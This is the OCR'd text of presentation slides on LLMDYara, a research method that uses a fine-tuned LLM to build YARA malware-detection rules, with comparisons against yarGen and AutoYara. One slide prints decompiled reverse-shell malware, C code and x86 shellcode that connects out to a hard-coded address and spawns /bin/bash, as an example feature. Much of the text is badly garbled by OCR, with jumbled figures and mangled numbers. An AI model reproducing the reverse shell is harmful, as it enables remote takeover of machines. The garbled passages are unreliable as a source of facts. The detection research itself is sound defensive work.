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Rising Malware Threats
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Inefficient Manual Operations
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Automated YARA Rules Generation

NeuroYara ¢

Propose a novel architecture utilizing two learning
to rank neural networks to understand the
underlying effectiveness and correlations among n-
grams extracted for rule construction. This

VxSig ?

Uses a least-common-subsequence (LCS)

. algorithm to find byte sequences, extracted
YARA from functions, that appear to be common approach provides better flexibility and coverage of
An industry standard to all files in the given sample. possible n-grams while reducing the required
| Y ion tool storage size from several GBs to only 10MBs.
regular expression too

designed for malware

analysis.

Use a Naive Bayes model to score

the potential utility of features Leverage work in finding frequent larger n-

that can be extracted from a grams, for n(8-1024), to find several candidate

binary, predominately strings. byte strings that could become features. Then
YarGen ¢ it extend the SpectralCoClustering algorithm to

work when the number of biclusters is not
known a priori.

AutoYara e
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Challenge

1. How to reduce false positives and improve rule quality?

2. How to enhance the interpretabllity of selected features?

3. How to unlock the potential of LLM on our task?
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LLMDYara Method

Break down the task for Automated YARA Rules Generation

Step 1. What features need to be extracted? Feature Extraction
Step 2. How to filter out features with false positives? Feature Filter
Step 3. How to evaluate the selected features? Feature Decision by LLM

Step 4. Which features should be selected to generate rules? Rule Generation
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Framework

Benign Files =

® | similiar
L |Quer'y
|
-7 TS
; o® B
9’\0l";
. &8

\

Malicious Files >

Feature Extraction

st ring Feature

"+password: %s": "natural_language"
"sllauncher.exe":"filename_with_ext"

Function Feature

BOOL sub_4@2320()

{
HKEY phkResult;
_BYTE SubKey[2571;
memset (&SubKey[1], @, @x180u);
strepy(SubKey, aSystemCurrentc_@);
streat(5SubKey, ServiceName);
return RegOpenKeyExA(HKEY_LOCAL_MACHINE,
SubKey, @, @xF@@3Fu, &phkResult) == @

push call ... pop ret
hash SSDeep
DNAHash Feature
header | .text | .rdata | .rsrc | overlay

T~

H1| |[H2| ... |Hn

—»

Feature Filter

Top Common S5trings
in Benign Db

]

Third-Party Library
Finger Hash

SQN

Capa Sensitive
Function Rules

I:!;l
Top Common DNAHash
in Benign Db

Feature Decision On LLM

{
"string": "unexpected heap error",
NLP Statistical Features ; "tag": 'nlp-cpp_runtime®
{ " = " " " Ih
string": "Sunday", v,
Security Domain Features 9} "tag": "nlp-date" Top-N Strings
. -
Lexicon-based Features "string": "HeapDestroy", /
"tag": "iat_function"
}
~
Cluster-1
tag: xor_dynamic_decrypt
L ] 3F 3@ 11 FF 45 ?7? (C3 8B 45 )
~ - \ .
| @ —\\
1
\ ...‘j""‘ - Cluster-2
~ - ~ - - tag: shellcode_loader
“ o\ ~ < C6 45 22 52 C6 45 ?? 4E C6
‘..—"—"—'_"‘:-}\-9 /
[ ] \ @ ./ - - \’
-
~ - -~ ™~
b _ - : 4 Cluster-3
- -7 7 tag:
s (- L] 4
- / 8B OB 8B 73 ?? @3 75 77 8B
| @g | -~ 7 J
\® / A
-~ ! L4 ® s
\ e
/
® S - Cluster-n
® e tag: add_autorun_reg
8B 4C 24 ?7? 8D 44 24 ?? 68 80
e —

Rule Generation

p
f (aAbAc)V(aAbAcAeAEAGARALIV
(eNEAGARALIV (eAEAGARALAFAKIV (hALAAK)

eahibcfgijk
file-1 X X X X X X X X

file-2 X X X X
file-3 X X X \
file-4 x X X X X
file-5 X X X X X X X Double
file-6  x X X Cluster
abcefghiijk
file-3 X X X
file-6 X X X
file-1 X X X X X X X X
file-4 X X X X X
file-5 X X X X X X X
file-2 XX X X
subset
-~\-~p2 compression &
B1 PN . intersection
! | mergin
\ 1 ! ging

\ /
DRSNS 4

'
i Rule Scoring Mechanism

I

| 1. opcode feature XM |
2. dna hash feature XN
I\ 3. string feature x1 !
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Feature Extraction: String Features

String features are widely used features,

How to define and extract high-quality strings?

17 types of IOC-related strings Natural language strings

refindall(b"[\x1f-\x7e]{6}", data) |
\2 I—————E——

"D\ \\\WAN\AB\\\\src\\\\build-MINGW64": {
"tag": "path"
expert knowledge | ),
\ "Bypass_AntiXRay.d11": {
- "tag": "filename_with_ext"

i
231N e 2008 L

ntagh: "ip" _ _
b " A [ )
y entropy model |
“http://crl. godaddy. con/gdig2s5-0.crl0s": { . py markov model‘. KL divergence model scrabble modey
~ vtagh "wrl*

regular expressions

iy}
"ADVAPI32.d11": {
"tag": "iat_module"

’ all models agree?
"RegQueryValueExW": {

"tag": "iat_function"

{

’
"rdata": {
"tag": "section_name"

"@mWrong password": { "T$THct$PHc{8": {

1
1
b A .

} " R

@ natural langurage string (__J) meaningless string

@

"Symantec Corporation1402": {

matched strings A
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Feature Extraction: Function Features

Besides string features,

401776

00000000040177A 69 oC 00

401781
00

1; // [rsp+Ch] [rbp-24h]
__int16 v5[2]; // [rsp+1@h] [rbp-20h] BYREF
int v // [rsp+14h] [rbp-1Ch]
3 // [rsp+28h] [rbp-8h]

((unsi __int16) , argv, envp);

( )5
(2LL, 1LL, OLL);
(v4, v5, 16LL);

(v4, oLL);
(v4a, 1LL);
201

>turn 9;

0x401745

0x40175a
0x401760
0x401776
0x401789
0x4017a0
0x4017b4
0x4017c3
0x4017d2
0x4017el
0x4017f0
0x40180e

*/ int __ fastcall main(int argc, const char xkxargv, const char kxxenvp)

*/ A
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/

unsigned int v4; // [rsp+Ch] [rbp-24h]
_WORD v5([2]; // [rsp+1@h] [rbp-2@h] BYREF
int v6; // [rsp+14h] [rbp-1Ch

unsigned __int64 v7; // [rsp+28h] [rbp-8h]

v = __readfsqword(@x28u);
vsl[el = 2;

v5[1] = ntohs((unsigned __int16)tcp_port, argv, envp)
v6 = inet_addr(off_4C80F8)
v4 = socket(2, 1, @);
connect(v4, v5, 16);
dup2(v4, 0);

dup2(v4, 1u);

dup2(v4, 2u);
system("/bin/bash");
return 0;

Function Call Graph

[target func

What other features can be extracted?

decompiled code with line numbers and offsets

If decompile fails,
extract asm code

31 DB|xor
F7 E3|mul
53| push
43|inc
53| push
6A 02 |push
89 E1|mov
B@ 66 |mov
CD 80]int
93| xchg
59| pop

B@ 3F |mov
CD 80|int
49 |dec

79 F9|jns

ebx, ebx
ebx
ebx
ebx
ebx
P
ecx, esp
al, 66h ; 'f'
80h; LINUX —
eax, ebx
ecx
QR SERT -t 2
80h; LINUX -
ecx
short loc_8048065

68 CF AE 16 31|push 3116AECFh
68 02 00 A2 A5 |push 0A5A20002h

89 E1|mov
B@ 66 |mov
50 |push
51| push
53| push
B3 03 |mov
89 E1|mov
CD 80|int
52| push

ecx, esp
al, 66h ; 'f'
eax
ecx
ebx
bl, 3
ecx, esp
80h; LINUX -
edx

68 6E 2F 73 68|push 68732F6Eh
68 2F 2F 62 69|push 69622F2Fh

89 E3|mov
52 |push
53| push
89 E1|mov
B@ OB |mov
CD 80|int

ebx, esp
edx
ebx
ecx, esp
al, @Bh
80h; LINUX -
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Feature Extraction: File DNAHash Features

If string and function-based features are not usable,

what alternative features can be used while controlling false positives?

whg.e (*( yve 1= -61 ) \
e BSS:006420CF loc_6420CF: ; CODE XREF: sub_642028:1loc_6420CA"j .
2 ;;hﬂe (1) os Tonnancr o | st e ki ® string features are encrypted
o - s BSS:@@6420CF ; =~ - === === m oo
=5 i Sl O _2((112 ) ) BSS:006420D1 db @Doh R
o LT S i = ) R o LT > f . f i fail
B i ’ BSS: 006420D2
7 oo oy SN @ unction features decompiled failed or became
3¢ |-l . . Ix+4], eax
3 JUMPOUT (*((_BY . Self-Modifying Code A e hard to understand
: ; goto LABEL_9; rt loc_6420DE K j
42| 1} L A D R =
43| 3 ( *(COYTE )1 4 . Control Flow Obfuscation e
44 i ((char *) d ptr [esi]
45|LABEL_9:
46| v2 = (int (_ ; CODE XREF: sub_642028+B@1]
- Self-Im Iemented Packers rt loc_ssz0es -
plemented FaCkers e PE header | .text S .rsrc | overlay
48 5 gd PCID/E2EAh
s e R of conioniivh i RS S SRS NN S
20 = 108; BSS:006420E4 dec eax \\
3 = (& 9, 1818522734 1818504812) BSS : 006420ES
5 = (vo cdecl *)(si igned signed int, signed int, DW |B5S:@@6420E5 loc_6420ES: ; CODE XREF: sub_642028:1loc_6420DE?j
54 (414 1124073593 12646950 9 o, 9) BSS:006420E5 mov [edx+18h], eax H1 H2 oo Hn
55 5 = *MK_FP(35, *HK FP(35 *MK_FP(35, *HK FP(35 readfsdwor‘d BSS:006420E8 jmp short loc_6420ED
56 6 = (int cd (signed int, signed t))sub_: 401346( 555 066420E8 B i e e S A R A A e A e S A S e S
57| v7 = vé(64, 58032) """ 06420EA dw @ASDAh
58 *4K _FP(35, v7 + 57353) = v5; 355 0064205C R L T
59| vis = @; BSS:086420EC retf
60| vi7 = 512; : = PR LS T S A SO N SCHUTT BT SO NePeSSONL 0 OO Y1 L S 1.
e e e ELF | header | PT_LOAD | PT_DYNAMIC| ... |overlay
= &byte _4@1AEB[*(_DWORD *)&word_40110A]; BSS:006420ED loc_6420ED: ; CODE XREF: sub_642028+C01]
= 644 BSS:006420ED jmp short loc_6420F2
BSS006420ED § -~ -~ ooeooooooooosoosoooooooooooe
: db @ph
BSS 120F0 db 47h, 39h
SR GRBABHIS | oovran s ose st e o e A SO S o
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Feature Filter: string feature filter

There are too many natural language strings, To reduce false positives in string features,

Deep filtering of natural language strings Filter based on white samples

{ .
mirror repo update repo vepkgs | | ...

|
|
|
|
|
|
|
|
"@mwWrong password": { "@mWrong password": { |
"tag": "natural_language" "tag": "natural_language-blacklisted" |

H H |
"system": { "system": { |
"tag": "natural_language" "tag": "natural_language-sensitive_api" |

1 8 I
"strlen": { “strlen": { |
"tag": "natural_language" "tag": "natural_language-other_api" |
|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

b }
"proc/%s/comm": { "proc/%s/comm": {
"tag": "natural_language" "tag": "natural_language-format_string"
E h
"This program cannot be run in DOS mode"': "This program cannot be run in DOS mode":
{ i

replay

antivirus engines

"tag": "natural_language" "tag": "natural_language-compiler"

¥ Is

\l’ extract string features

}

string features
Fequency in the white dataset

3
[1] This program cannot be e w MSeleded features
[2] Unknown pseudo relocation... ... e _> e
[3] VirtualQuery failed for ... ... g
4] .. .. m D abandoned features

We further classify the strings of type natural _language into more
specific subtypes such as compiler, sensitive_api ... ...
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Feature Filter: function feature filter

If there are so many functions in malware,

How to decide which functions are more valuable?
) System API or third-party library functions

« Self-built Third-Party Library Function Signature Database

—
: - : I
Library function Ml Regular function [l Instruction

Benign Files with
7] Funotions window o Library function [l Regular function i Instruction Data Unexplored External symbol Lumina function g

Function name 7] Functions window 0@ @ ©[DAView-A ©[|Pseudocode-C @ (7] Pseudocode-8 @ ([ © (O] Hex View-1 @ [A] Structures @ -] Enums S mbols
7 sub 4004F0 s —— lint _ cdecl main(int argc, const char **argv, const char **envp) y

- 2
7l sub_400514 L£] sub_4004F0 ,z( int v3; // ¢

[ sub_400A10 Lt] abort 4 int v4; // eax

 |IDA built-in ability

= 71 main 5 int v5; // ebx
7lsub_400A20 |7] init_cacheinfo 6 BYTE v7[128]; // [rsp+Oh

|

|

|

|

|

|

|

idc.FUNC_LIB :

! C _ : ;::abr;4OOBAO ‘:-:?bndmwo 5 char v8[152]; // [rsp+80h] \
= IdC.AF FLI RT I ; sub 401070 7] deregister_tm_clones 9 daemon(l, 1);
|
|
|
|
|
|
|
|
|
|
.

Function Signature
memset(v8, 0, 0x80uLL);

[ sub 4010
& " —(o_global_dtors_aux v3 = getKernelversmn() Generator
grore — == 3 terlf LSERE TSI o e |

¥l sub 401130 writeKo(80LL);
= ‘f cleanlog
[7) sub_4012F0 7] writeko 1 else if ( (unsigned int)(v3 - 147) <= 0x2D )
7]sub_401360 [7] writemingety ‘18 {

71 sub 4015A0 | 7] writemingety_0 19 y writeKo(147LL);

- & 7| writemingety_1

msub_4016£0 :f_—iyelnetcagdw 21 else if (v3> 192 )

[71 sub_401800 7] writerct! =

7] register_tm_clones putenv((__int64)"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sb:
- idc.FUNC_CHUNK
- function name in import
functions

~ e~

{
7lsub 401870 7] sub_401F60 gi writeKo(193LL);

7 sub_4018E0 (7] get_common_indeces_constprop_1 ;ub_401F60();
7 sub 401950 L] libc_start_main 26 writerctl();

| 7] check_one_fd 27 writemingety();

7] sub_401BAO 71 libe chack standard fris Thir‘d'Paf‘ty Libr‘ar‘y
< Line 37 of 629 00000B65 main:20 (400B65) . .
Function Signature db
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Feature Filter: function feature filter

) Weight the importance with: function size,
number of referenced strings and number of
reference.

) The entrance related functions

) Sensitive API or crypto related functions

=== Top 20 of function importance ===
rank function = address

Use to identify sensitive functions

func: sub_40627C: {
"capability": [
"capture screenshot",
"contain loop"
1, "mbc_objectives": [
"Collection::Screen Capture::WinAPI [E1113.m@1]"
1, "attack_tactics": [
"Collection::Screen Capture [T1113]"
]

}
func: sub_406D40: {
"capability": [
"get disk information",
"contain loop"
1, "mbc_objectives": [
"Discovery::System Information Discovery [E1082]"

sub_407678
sub_4071D0@
sub_406638
sub_405080
sub_40536C
sub_407E90
sub_407BD4
sub_4079A0
sub_406B48
sub_407AD0@
sub_406CE@
sub_40627C
sub_40759C
sub_402838
sub_406E94
sub_4074B4
sub_407D9C
sub_406F34
sub_405634
sub_405200

WNWWWweRrURANOUULOOULLUMEAONO 2

RRNRRRPRRPRRPRRORRPRRERNRRRLRRAR

0x407678
0x4071d0
0x406638
0x405080
0x40536¢
0x407e90
0x407bd4
0x4079a0
0x406b48
0x407ad0o
0x406ce0d
0x40627c
0x40759c¢
0x402838
0x406e94
0x4074b4
0x407d9c
0x406134
0x405634
0x405200
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Feature Decision base on LLM

String Feature Selection how to fine-tune the LLM?

) train data \

N string features — string features (D

- Existing rules s :

' —

. ] - m _9 ;m e @) é string features é N :

M BB —d < el

. - [
: Com) ) matched feature -a top-k features

N L o - i i !

base model JL% model

S

\/( Understand the task intent

1. invalid output format

[reward_score = alpha * format_score + beta * select_score] ; 2 . uneXpECted Strl ng SeIeCtion
\/ Standardize the output format .

k : f Reward for the expected string features and output format ;

/ prompt \

1. task description: You are a

D predict

2. selection criteria: ] \ .
specificity, relevance, uniqueness . -9 string features | —3 | LLMDYara model = selected strings
3. {output format} = (e ) b -
[ ]

Q {query_input} J /
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Feature Decision base on LLM

What kind of function opcode sequence iIs suitable to be part of a YARA rule?

Prompt
[ <Tasio ) 19: v3 = (_BYTE #)(all2] + *(al - 5));
. . Step-1: Analyse the pseudocode and callchains
functllon feaftur'.els in function cluster Step-2: Give a tag based on your analyse map pseudocode to 0040103C 8B 45 08 mov eax, [ebp+8]
malware ramily Step-3: Choose the code segment which can be asm data 0040103F 8B 4D EC mov ecx, [ebp-14h]
used to generate YARA rules. 00401042 8B 55 E8 mov edx, [ebp-18h]
file-1 </Task> 00401045 03 C8 add ecx: eax
file-2 <Tags>
steal_leak_data: steals sensitive file data 1 de:
fl ' and exfiltrates it to a remote C2 server. 00S€ mode. .
wemn Sreces wildcard immediate value fU“Ctlﬂn prologue
ags .
<pseudocade> loose/normal mode: function epilogue
6oal The decompiled pseudocode Wildcar\d displacement
</pseudocode>
<callchains> -
choose the malicious function and } CF6 with CAPA labels; global variables i [DRLRLE S = LA NGRS v
generate opcode signature J </callchains> 8b 45 ?? # 0x40103c 8b4508 mov eax, dword ptr [ebp + 8]
<output_format> 8b 4d ?? # 0x40103f 8b4dec mov ecx, dword ptr [ebp - 0x14]
k/output_formao ) 8b 55 ?? # 0x401042 8b55e8 mov edx, dword ptr [ebp - 0x18]

03 c8 # 0x401045 03c8 add ecx, eax
opcode signature: 45 ?? 8b 4d ?? 8b 55 ?? 03 c8

*(al - 7) = 56;
CxxThrowException_x(al - 7, &_TI1H);

/* 20 0x40105e *v2 ~= (unsigned __int8) (x(char x)(x(al — 6) + all[4]) % 17532) - 63;
)x401045 */ v2 = (_BYTE %) (all[2] + x(al - 5));

?? 104 e
x40105e  */ *v2 *= (unsigned __int8) (x(char *)(*(al — 6) + all4]) % 17532) - 63; ol grgtetanea o ea;l\, fWORdRRERLERpE R ox Y
X401060 %/ ++x(al - 6): be 7c 44 00 00 0x40104a be7c440000 mov esi, @0x447c
401069 %/ v3 = (int)*(al - 5); Tag: xor_dynamic_decrypt 0f be 04 02 0x40104f 0fbe0402 movsx eax, byte ptr [edx + eax]

*(al - 1) = -1; Detail: Performing XOR operations on each byte 29 f 0x401053 99 cdq
if ( '(unsigned int)(v3 % 5) ) using a dynamically gener\ated key 7 fe it 0x401054 f7fe idiv esi

++:121 : g.: 0; Features: [{ "start": 19, "gize": 7, "comment": b8 64 10 40 00 0x401056 b864104000 mov eax, 0x401064

,_ "This code segment contains the core logic of 80 ea 3f 0x40105b 80ea3f sub dl, oOx3f

)x40108b */  return result; XOR decryption, including dynamic key generation 30 11 # 0x40105e 3011 xor byte ptr [ecx], dl
and XOR operations" }] opcode signature: 8b 45 ?? be 7c 44 00 00 Of be 04 02 99 f7 fe b8 64 10 40 00 80 ea 3f 30 11
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Feature Decision base on LLM

Function behavior tagging

how to generate high-quality training data?

behavior tag summary

cloud sandbox judge rules

function behavior tags

-

rebound_shell

shellcode_loader

steal_leak_xdata

xor_dynamic_decrypt

oo w o

¢ Emmm) ¢ (ool

@ample filter

dynamic
analysis 9
-= :3 N
cloud sandbox
ﬂ
ELF
—

_\_; 0 capability namespace

download and write a communication/c2/

static 1 file file-transfer
analysis |Capa sandbox —9 2| create reverse shell | create reverse shell
3 check for debugger anti-analysis/anti-debugging/
via API| debugger-detection
capture screenshot via .
keybd event collection/screenshot

S q

e

[

function behavior tags =3
/[\

=

fdata generation

behavior tag list
of each sample

prompt

a2

L9

N V¢

@ qwen3-32b

\/

LI

note: just save functions
those function tags in the
behavior tag list of this
sample.

T taract tage feature extraction
as target tags’
S~ et feature filter

\%

‘ } dro p O |samples behavior tag list
1 le1 rebound_shell,
sampie network_connect
2 | sample2 runtime_anti_debug
3 | sample3 | remote_thread_inject
2 j

=

function tags

in behavior tag S>>

/

list?__
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file_index
1 89 4c 24

8d 44 24

89 4c 24

89 4c 24

89 4c 24

8d 44 24

89 4c 24

8d 44 24

VULV ESEDEDEWWWNNRNERR

2?7

5f 5e 5b 81

(&4

72

68 34 43 40
5f 5e 5b 81

7

68 34 43 40
5f 5e 5b 81

22

5f 5e 5b 81
68 34 43 40

27

7?7

5f 5e 5b 81

2

feature

89 4c 24 7?7 68 00 01 00 00...
c4 58 01 00 00 c3 6a 99 57...
50 68 3f 00 of 00 6a 00 68...
89 4c 24 7?7 68 00 01 00 00...

00 52 ff 15 77 7?7
c4 58 01 00 00 c3
89 4c

24 77 68 00 01 00 00...

@0 52 ff 15 7?7 7?7 7?7 7?7 8b...
c4 58 01 00 0@ c3 6a 00 57...
89 4c 24 ?? 68 0@ 01 00 00...

c4 58 01 00 90 c3
00 52 ff 15 7?7 22
50 68 3f 00 of

89 4c 24 77 68 00 01 00 00...
c4 58 01 00 @0 c3 6a 00 57...
50 68 3f 00 Of 00 6a @0 68...

68 34 43 40 00 52 ff 15 7?7 7?7 ??7 77 8b...

opcode features

. opcode
. opcode
. opcode

type file_index
opcode 1
opcode
opcode
opcode

. opcode
. opcode

opcode
opcode
opcode
opcode

opcode
opcode
opcode
opcode

SYSTEM\\CurrentControlSet\\Services\\LanmanS...

http://www.microsoft.com/PKI/docs/CPS/defaul...

SOFTWARE\\Microsoft\\Active Setup\\Installed...

feature type
natural_language-blacklisted
Welcome to use storm ddos natural_language-blacklisted
WriteProcessMemory iat_function
192.168.1.2 ip

192.168.1.244 ip

Welcome to use storm ddos natural_language-blacklisted
WriteProcessMemory iat_function

url

4b4as8bfe,
4ba58bfe,
064b1b9d,
064b1b9d,
064b169d,
064b1b9d,
264b1b9d,

3d38abdd,
3d38abdd,
3d38abdd,
3d38abdd,
3d38abdd,
3d38abdd,
3d38abdd,

7c82cfcd,
7c82cfcd,
7c¢82cfcd,
7c82cfcd,
7c82cfcd,
7c82cfcd,
7c82cfcd,

00000000,
00000000,
5014fec5,
5014fec5,
5014fec5,
5014fec5,
5014fec5.

4b4s8bfe,
4b4a58bfe,
f4d72143,
f4d72143,
f4d72143,
f4d72143,
£4d72143,

11c6d9d3,
11c6d9d3,
11c6d9d3,
11c6d9d3,
11c6d9d3,
11c6d9d3,
11c6d9d3,

13677351,
13677351,
5590595,
5ac0954d,
02858942,
119836¢9,
bf6dbda8,

2b@5557d
2b@5557d
lea207df
lea207df
lea207df
bce2bd73
bce2bd73
78e0066f
78e0066f

natural_language-blacklisted
CreateRemoteThread iat_function

82770912, 3d38abdd, 7c82cfcd, 00000000, 8270912, 11c6d9d3, d74e847c,
192.168.1.2 ip 8270912, 3d38abdd, 7c82cfcd, 00000000, 8270912, 11c6d9d3, d74e847c,
Storm ddos Server natural_language-blacklisted

iexplore.exe filename_with_ext /
/

,~"Hierarchical Cluster on DNAHash--;~-------- ~

string features \

TTSs e

Rule Scoring Mechanism

I
|
|
: file_Index,
|
|

| \

064b1b9d, 3d38abdd, 7c82cfcd, 5014fec5, f4d72143, 11c6d9d3, *, *

|
|
|
dna_hash_features I
|
|
]

1. opcode feature XM
. 2. dna hash feature XN 1;9; Ha_ 0;%;Ha_2;:::;Ha_6;%; ..
emmm - Double Cluster on file and feature ----- < | 3. string feature X1 2,3,4, *,Hb_1,...,Hb_5,Hb_6,%,..

file_Index,

opcode_features £11e_Thdex,

string_features viile gecia

I |
I I
| |
| 112/31415/ Op_l, OP—2 1.4.5 1 1.ul? [ "CreateFontA" ascii wide
B ) ul_i,ul_ >=
[ 1,4,5, op_3 2345 uwlu? ; hreslold ? “DV5!kncHaP_E" ascii wide
,' 2,3,4,5, op_4 e i | threshold ? "EVENT_SINK_GetIDsOfNames" ascii wide
\ £ a "GetFileVersionInfoA" ascii wide
e el | e e e e e e e R e e e ks T & . SRSV, "MSVBVM60.DLL" ascii wide
R TR - Rule Compress And Generation  ___________}____ condition:
/ all of ($px) and dnahash.match_pos(@, 0x21393263) and dnahash.match_pos(3, 0xf6a76223) and dnahash.match_pos(4, 0x296ff62e)
subset compression intersection rule merging —

strings:
1.2.3.4 1234 A $pl {8B45??BE7C4400000FBE040299F7FEB86410400080EA3F3011FF45?7C38B45776A0599} // sub_401000,xor_dynamic_decrypt
e 1,2,3,4,6,7 B Bl T~ J; -- B2 (4 & B1)~ (4 & B2) $p2 = {8BCA83E103F3AAEB??6A046800100000508B437703452750FF55778B0B8B73770375778BD18BF8C1EIQ2F3A5} // sub_4590B4,shellcode_loader
AANNS | / 2 \\ I/ a @ \\ // \\ _ ‘\ \b $p3 = {C645?7752C645774EC645?7745C6457?74CC645?733C6457?32} // sub_458E9A,shellcode_loader
; 1—=> ¥ i ' \® ; ® | $p4 = "Install.exe" fullword ascii wide
/ \ ) ) ...---EE;» A _u " s
S o 7z / il 7 4 & (B1 " B2) $p5 = "MSVCRT_HEAP_SELECT" fullword ascii wide
- =~ e £ N — 7 - ~ -

condition:
all of ($px)
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Rule Generation Result of Recently Active Malware

* Families from VirusShare, VirusSign and malwarebazaar

Total Families: 151

Samples in Train Set: 17,435

Samples in Test Samples: 58,156

—e— Training Set
8~ Test Set

Total Samples: 75,591 s

Average Detection Rate Comparison by Tools

Training Avg: 0,935

Tes 0,859

Difference: 0.077
V

w0 BN Training Set
: 0.951 Test Set
0.912
0.683 0.892
0.860
0.8
0.753 0.764
0.733 0.723

@ 0.626
&
T os
2
]
2
o}
]
@
>
B
2
< 04

02

0.0

YARGEN YARGEN_GEN AUTOYARA LLMDYARA LLMOYARA_DNA
Tools

YARGEN_GEN Training vs Test Set Detection Rate

Virus Families

2]
2
£
@
L
w0
3
=
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» a2 29

BAT_Agent_QBP

Linux_Mirai_A -

Linux_Prometei_B
Linux_TrojanDropper_Agent_U
Win32_Agent_AAEF
Win32_Agent_ADRA -
Win32_Agent_NBJ
Win32_Agent_NCK
Win32_Agent_NFD -
Win32_Agent PGA -

Win32_Mira_A

Win32_Mydoom_Q -
Win32_Oberal A
Win32_PSW_QQPass_OWD
Win32_Salgorea_BJ
Win32_Small_NQR
Win32_TrojanDownloader_Agent FTV -
Win32_TrojanDownloader_Small_AAB
Win32_TrojanDownloader Waski_A -
Win32_TrojanDropper_Agent_RLQ
Win32_Urelas_U
Win32_VBClone_D -
Win32_VBClone_E -
Win32_VBClone_K
Win32_VB_NAR -
Win64_Agent_ABU
Win64_Agent_LL

Detection Rate

10 [Training Avg:0813
Tes 0.798
Difference: 0,015

08

°
2

°
b

—e— Training Set
—a— Test Set

00 .
0

0.98
0.63
1.00
1.00
0.87
0.66
0.90
0.90
0.61
0.65
0.94
0.59
0.99
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1.00
1.00
0.65
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0.59
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1.00
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autoyara-Test Set

AUTOYARA Training vs Test Set Detection Rate

1 2 2
Virus Families

» 2

| [Traiing Avg: 0,941
Test Avg. 0.939
|- {Difference: 0.002

Detection Rate

~e— Training Set
—m— Test Set

0

LLMDYARA Training vs Test Set Detection Rate

Detection Rate Heatmap for Top 30 Virus Families
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Tools and Datasets
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Rule Generation Result of Recently Active Malware

* False positive info On 2.3 million benign samples

yargen Top 10 False Positive Rules

Win32_Agent_NFD
Win32_Delf_NAY
Win32_Spy_CardSpy_NAF
Win32_AutoRun_VEB_BWD
Win32_Agent_OAT
Win32_Flyagent_NGX
Win32_AutoRun_Delf_RO
Win32_Agent_ADMM
Win32_Agent_SNX 1557

Win32_Agent_AAEF {1157

t T T
o o O O ] O
QQD @QD QQQ QDQ 00“
v o @ Ks) &
Number of False Positives

limdyara Top 10 False Positive Rules

autoyara Top 10 False Positive Rules

Win32_Agent NFD

Win32_Pacex_Gen -

Win3z_Delf BFX 1

Win64_Agent_ABU

Win32_Kryptik_AUY

Win32_TrojanDropper_Gepys_AA -

Win32_GenKryptik_CYBX -

Linux_Mirai_CX] -

Win32_TrojanDropper_Agent SGF -1

64039

T
O ] O D S &
o ) o 5 £ =)

o o Q
xS & & £ &
Number of False Positives

Total False Positives by Tools

Win32_Agent_NFD
Win32_Delf_NAY
Win32_Agent_NLP
Win32_Spy_CardSpy_NAF
Win32 AutoRun_VB_ BWD
Win32_ Pacex Gen
Win32_Agent_OAT
Win32_Flyagent_NGX
Win32 Urelas_AB

Win32 AutoRun_Delf RO

Win32 VBClone_ E
Win32_Agent_ADMM

167035
135181
0
121289
73528
0

4977
4028

0

3204
229
2007

167600
150998
279344
121291
73560
0

5075
4027

0

3786
6075
2005

Win32_Agent_SNX 1557 2186
Win32 Urelas AB 500000 -
s i Sttt Win32_Delf_BFX 0 0
Wins2, TrojanDownicader Small PAL 200000 4 Win32_TrojanDownloader_Modil.. 0 0
Winéd_Kryptik FAZ Win32_Agent_AAEF
W32 Alaple Gen Esmwo— Win32_Filecoder_Trigona_A
Win32_Kryptik_HMRY g 229,996 W1n64_Agent_ABU
S Win32_Kryptik_AUY
e Win32_TrojanDownloader_Small..
Win64_Agent_ECK 6 100000
T ‘ I ‘ 229996 516014 820317
[\ & D° P 00 & » & & yargen autoyara limdyara
N » Y w© & & A E Tool Name

Number of False Positives
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Rule Generation Result of Recently Active Malware

Rule Detalls

strings:
$s1
$s2
$s3
$s4
$s5
$s6
$s7
$s8
$s9
$s10
$s11

$0p0

"5345474745694B" ascii /* hex encoded string 'SEGGEiK' */

"1A2466363E2F7236296D0COA1E4353060D54373E074EQ00A57347C2D100652080B15244501160EQ80B151B4FOEQQOD49

"1A2466363E2F7236296D0COA1E4353060D54373E074EQ00A57347C2D100652080B15244501160EQ80B151B4FOEQQOD49

"1919490C1D4E73031A4F090C1E2C67696B206B690E868665A09A616E6574206D296530207BFFB96705" ascii

"05044303053D451" ascii

"@520C1D156D551D@34F19" ascii

"@D4916067C20111C404F1BOES52373B1B4E6465204720F Yarg e n

"652080B15244501160EQ80B151B4FQE" ascii

"65204720EE40AA208D1EBD72800EB967071A" ascii
"05044303053D451000520C1D156D551D@34F19001A5937104234591D11114D6D656172207365676765" ascii
"1A5937104234591D11114D6D656172207365676765" ascii

{ 8b7c24088b4c240c03f833d20fb6040a }

$opl rule Win32_Oberal_A

$op2 {

$op3 //Input TP Rate: AUtOYara

$op4 //316/320

$op5 strings:

$op6 //Benign FP est: -0.0 Malicious FP est: -0.0 Entropy: 3.0 Found in 318 files

$op7 $x0 = { @C FF 75 08 E8 73 03 00 }

$op8 //Benign FP est: -0.0 Malicious FP est: -0.0 Entropy: 2.5 Found in 317 files

$op9 $x1 = { 35 00 33 44 30 41 35 33 } //This might be a string? Looks like:53D@A53

$op10 //Benign FP est: -0.0 Malicious FP est: -0.0 Entropy: 3.0 Found in 316 files

Sopll $x2 = "206915E4" ascii

$op12 //Benign FP est: -0.0 Malicious FP est: -0.0 Entropy: 3.0 Found in 319 files

$op13 $x3 = { 6E 4D 75 74 65 78 41 00 } //This might be a string? Looks like:nMutexA

$opl4 //Benign FP est: -0.0 Malicious FP est: -0.0 Entropy: 3.0 Found in 317 files

Sopls $x4 = { 35 97 64 40 00 E8 1A 05 }

$op16 //Benign FP est: -0.0 Malicious FP est: -0.0 Entropy: 3.0 Found in 318 files

$op17 $x5 = { 30 35 00 31 41 32 34 36 } //This might be a string? Looks like:051A246

$9p}8 //Benign FP est: -0.0 Malicious FP est: -0.0 Entropy: 2.75 Found in 318 files
condLeLe $x6 = { 20 40 00 55 8B EC 56 8B } //This might be a string? Looks like: @UV

g g;n //Benign FP est: -0.0 Malicious FP est: -0.0 Entropy: 3.@ Found in 317 files

-1

$x7 = "9EB30@F16"
condition:
(8 of ($x0,%$x1,$x2,%$x3,$x4,$x5,%$x6,%$x7) )

ascii

skrkkkkWin32_0beral A Lxkkskskskskk

sig: 8a 06 46 32 45 ?? 50 56 ff 45 ?? 8b 75 ?? 8a 06 46 8b 5d ?? 39 5d ??
75 ?? 8b 55 ?? 89 55 ?? 8b 75 ?? 8a 06

tags: ['xor_dynamic_decrypt']

